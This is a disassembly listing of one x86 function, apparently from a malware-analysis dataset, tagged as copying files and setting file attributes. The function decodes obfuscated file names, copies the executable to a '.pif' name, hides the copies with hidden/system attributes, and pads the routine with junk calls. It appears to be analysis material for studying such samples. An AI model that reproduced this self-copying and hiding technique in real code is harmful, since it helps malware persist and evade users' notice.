Function at 0x404280
Capabilities:
Copy file
Set file attributes

Disassembly:
push 0xffffffffffffffff
push 0x4058dd
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x120
mov al, byte [0x418251]
push ebx
push ebp
push esi
cmp al, 0x3a
push edi
mov dword [esp + 0x20], ecx
jne 0x4048b5
lea ecx, [esp + 0x14]
call fcn.004050c8
xor esi, esi
lea ecx, [esp + 0x10]
mov dword [esp + 0x138], esi
call fcn.004050c8
mov bl, 1
push 0x410248
lea ecx, [esp + 0x14]
mov byte [esp + 0x13c], bl
call fcn.004051a6
movzx ax, byte [0x40805f]
sub eax, 0xa9
lea edi, [esp + 0x42]
movzx cx, byte [0x408025]
mov word [esp + 0x24], ax
sub ecx, 0x4c
movzx ax, byte [0x408022]
movzx dx, byte [0x40803e]
add eax, 0x59
mov word [esp + 0x26], cx
mov word [esp + 0x2a], ax
sub edx, 0x85
movzx ax, byte [0x40805a]
mov word [esp + 0x28], dx
mov word [esp + 0x40], si
movzx dx, byte [0x408038]
lea ecx, [eax + 0x6e]
add eax, 0x42
mov word [esp + 0x2c], cx
sub edx, 0x1d
movzx cx, byte [0x408042]
add ecx, 0x29
mov word [esp + 0x34], ax
movzx ax, byte [0x408048]
mov word [esp + 0x30], cx
mov word [esp + 0x2e], dx
movzx cx, byte [0x408058]
movzx dx, byte [0x408027]
sub eax, 0x6b
sub ecx, 0x87
add edx, 8
mov word [esp + 0x36], ax
movzx ax, byte [0x408024]
mov word [esp + 0x38], cx
mov word [esp + 0x32], dx
movzx cx, byte [0x40805e]
movzx dx, byte [0x408050]
sub eax, 0x7e
add ecx, 0x5c
add edx, 0x3b
mov word [esp + 0x3c], ax
mov word [esp + 0x3e], cx
mov ecx, 0x38
xor eax, eax
mov word [esp + 0x3a], dx
rep stosd dword es:[edi], eax
lea edx, [esp + 0x24]
lea ecx, [esp + 0x18]
push edx
stosw word es:[edi], ax
call sub.MFC42.DLL_CString::CString
lea eax, [esp + 0x18]
lea ecx, [esp + 0x10]
push eax
mov byte [esp + 0x13c], 2
call sub.MFC42.DLL_CString::operator
lea ecx, [esp + 0x18]
mov byte [esp + 0x138], bl
call fcn.004050bc
lea ecx, [esp + 0x18]
push 0xc0
push ecx
call fcn.00402300
add esp, 8
mov byte [esp + 0x138], 3
push eax
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::operator
lea ecx, [esp + 0x18]
mov byte [esp + 0x138], bl
call fcn.004050bc
push 0x410244
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::operator
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
mov edx, dword [esp + 0x10]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CopyFileA]
push edx
push 0x418250
call esi
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x50
call ebp
push 0x10f7
call dword [sym.imp.MSVCRT.dll_srand]
mov eax, dword [esp + 0x14]
add esp, 4
push 7
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x37d
call dword [sym.imp.MSVCRT.dll_islower]
mov ecx, esp
mov dword [esp + 0x130], esp
push 0x64
push ecx
call fcn.00402300
add esp, 4
mov byte [esp + 0x140], 4
mov edx, esp
mov dword [esp + 0x12c], esp
push 0x44
push edx
call fcn.00402300
lea eax, [esp + 0x2c]
push 0x50
push eax
mov byte [esp + 0x150], 5
call fcn.00402300
add esp, 0x10
mov edi, eax
lea ecx, [esp + 0x18]
push 0x408130
lea edx, [esp + 0x24]
push ecx
push edx
mov byte [esp + 0x14c], 6
call sub.MFC42.DLL_operator_1
push ecx
mov byte [esp + 0x144], 7
mov ecx, esp
mov dword [esp + 0x134], esp
push edi
push eax
push ecx
call sub.MFC42.DLL_operator
mov ecx, dword [esp + 0x2c]
mov byte [esp + 0x144], 9
call fcn.00404180
lea ecx, [esp + 0x18]
mov byte [esp + 0x138], 8
call fcn.004050bc
lea ecx, [esp + 0x1c]
mov byte [esp + 0x138], bl
call fcn.004050bc
push 0x410248
lea ecx, [esp + 0x18]
call fcn.004051a6
mov dl, byte [0x40802d]
add dl, 0x32
mov cl, byte [0x408022]
mov al, byte [0x408040]
add cl, 0x55
mov byte [esp + 0x24], dl
mov byte [esp + 0x26], cl
mov cl, byte [0x40805d]
add al, 0x7f
mov dl, cl
mov byte [esp + 0x25], al
mov al, byte [0x40803d]
sub dl, 0x31
mov byte [esp + 0x27], dl
mov dl, al
sub dl, 0x2b
mov byte [esp + 0x28], dl
mov dl, byte [0x408056]
mov bl, dl
sub bl, 5
mov byte [esp + 0x29], bl
mov bl, byte [0x40804c]
inc bl
mov byte [esp + 0x2a], bl
mov bl, byte [0x40805c]
sub bl, 0x7d
mov byte [esp + 0x2b], bl
mov bl, byte [0x408048]
sub bl, 0x61
mov byte [esp + 0x2c], bl
mov bl, byte [0x40805e]
add bl, 0x20
mov byte [esp + 0x2d], bl
mov bl, al
sub bl, 0x37
mov byte [esp + 0x2e], bl
mov bl, byte [0x40802f]
add bl, 0x56
mov byte [esp + 0x2f], bl
mov bl, byte [0x40805b]
add bl, 0x4d
mov byte [esp + 0x30], bl
mov bl, al
sub bl, 0x78
mov byte [esp + 0x31], bl
mov bl, dl
sub bl, 0x17
mov byte [esp + 0x32], bl
mov bl, byte [0x408043]
add bl, 0x30
mov byte [esp + 0x33], bl
mov bl, byte [0x408040]
sub bl, 0x7c
mov byte [esp + 0x34], bl
mov bl, byte [0x408029]
add bl, 0x47
mov byte [esp + 0x35], bl
mov bl, byte [0x408044]
sub bl, 0x4d
mov byte [esp + 0x36], bl
mov bl, byte [0x408022]
add bl, 0x60
mov byte [esp + 0x37], bl
mov bl, byte [0x40802c]
sub bl, 0x75
mov byte [esp + 0x38], bl
mov bl, byte [0x40804e]
add bl, 0x50
mov byte [esp + 0x39], bl
mov bl, byte [0x408054]
add bl, 0xd
mov byte [esp + 0x3a], bl
mov bl, byte [0x408031]
sub bl, 0xb
mov byte [esp + 0x3b], bl
mov bl, byte [0x40803a]
add bl, 0x58
mov byte [esp + 0x3c], bl
mov bl, byte [0x408030]
add bl, 0x1a
mov byte [esp + 0x3d], bl
mov bl, byte [0x408049]
add bl, 0xf
sub al, 0x43
mov byte [esp + 0x3e], bl
mov byte [esp + 0x3f], al
mov al, byte [0x408058]
mov bl, al
add dl, 0x62
add bl, 0x80
mov byte [esp + 0x53], dl
mov byte [esp + 0x40], bl
mov bl, byte [0x408053]
add bl, 0x28
mov dl, byte [0x40804d]
mov byte [esp + 0x41], bl
mov bl, byte [0x40802c]
sub bl, 0x6a
add dl, 0x6f
mov byte [esp + 0x42], bl
mov bl, byte [0x408037]
sub bl, 0x1c
mov byte [esp + 0x54], dl
mov byte [esp + 0x43], bl
mov bl, byte [0x408041]
add bl, 0x1f
mov dl, byte [0x408035]
mov byte [esp + 0x44], bl
mov bl, al
sub bl, 0x52
sub dl, 0x5c
mov byte [esp + 0x45], bl
mov bl, byte [0x408024]
sub bl, 0x39
mov byte [esp + 0x55], dl
mov byte [esp + 0x46], bl
mov bl, byte [0x40803c]
sub bl, 0x75
mov dl, byte [0x408047]
mov byte [esp + 0x47], bl
mov bl, byte [0x40802b]
add bl, 0x15
add dl, 0x58
mov byte [esp + 0x48], bl
mov bl, byte [0x408028]
add bl, 0x4c
mov byte [esp + 0x56], dl
mov byte [esp + 0x49], bl
mov bl, byte [0x408046]
add bl, 0x3d
mov dl, cl
mov byte [esp + 0x4a], bl
mov bl, byte [0x40805a]
sub bl, 0x63
add dl, 0x20
mov byte [esp + 0x4b], bl
mov bl, byte [0x408041]
add bl, 0x7c
mov byte [esp + 0x57], dl
mov byte [esp + 0x4c], bl
mov bl, byte [0x408055]
sub bl, 0x5c
mov dl, byte [0x408025]
mov byte [esp + 0x4d], bl
mov bl, byte [0x40802e]
sub bl, 0x3c
add dl, 0x36
mov byte [esp + 0x4e], bl
mov bl, byte [0x408050]
sub bl, 0x75
mov byte [esp + 0x58], dl
mov byte [esp + 0x4f], bl
mov bl, byte [0x408053]
add bl, 0x68
mov byte [esp + 0x50], bl
mov bl, byte [0x40803f]
sub bl, 0x73
mov byte [esp + 0x51], bl
mov bl, byte [0x40804f]
add bl, 0x30
add cl, 0x10
mov byte [esp + 0x59], cl
mov cl, byte [0x408037]
mov byte [esp + 0x52], bl
add cl, 0x20
add al, 0x69
mov byte [esp + 0x5a], cl
mov byte [esp + 0x5b], al
xor ebx, ebx
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0x5d]
mov byte [esp + 0x5c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x24]
lea ecx, [esp + 0x14]
push eax
call sub.MFC42.DLL_CString::operator_1
lea ecx, [esp + 0x1c]
push 0xc4
push ecx
call fcn.00402300
add esp, 8
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0x13c], 0xa
call sub.MFC42.DLL_CString::operator
lea ecx, [esp + 0x1c]
mov byte [esp + 0x138], 1
call fcn.004050bc
push str..pif
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::operator_1
mov edx, dword [esp + 0x14]
mov eax, dword [esp + 0x10]
push ebx
push edx
push eax
call esi
push 0x32
call ebp
push 0xcf2
call dword [sym.imp.MSVCRT.dll_isupper]
mov ecx, dword [esp + 0x18]
add esp, 4
push 7
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea ecx, [esp + 0x10]
mov byte [esp + 0x138], bl
call fcn.004050bc
lea ecx, [esp + 0x14]
mov dword [esp + 0x138], 0xffffffff
call fcn.004050bc
mov ecx, dword [esp + 0x130]
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
pop ebx
add esp, 0x12c
ret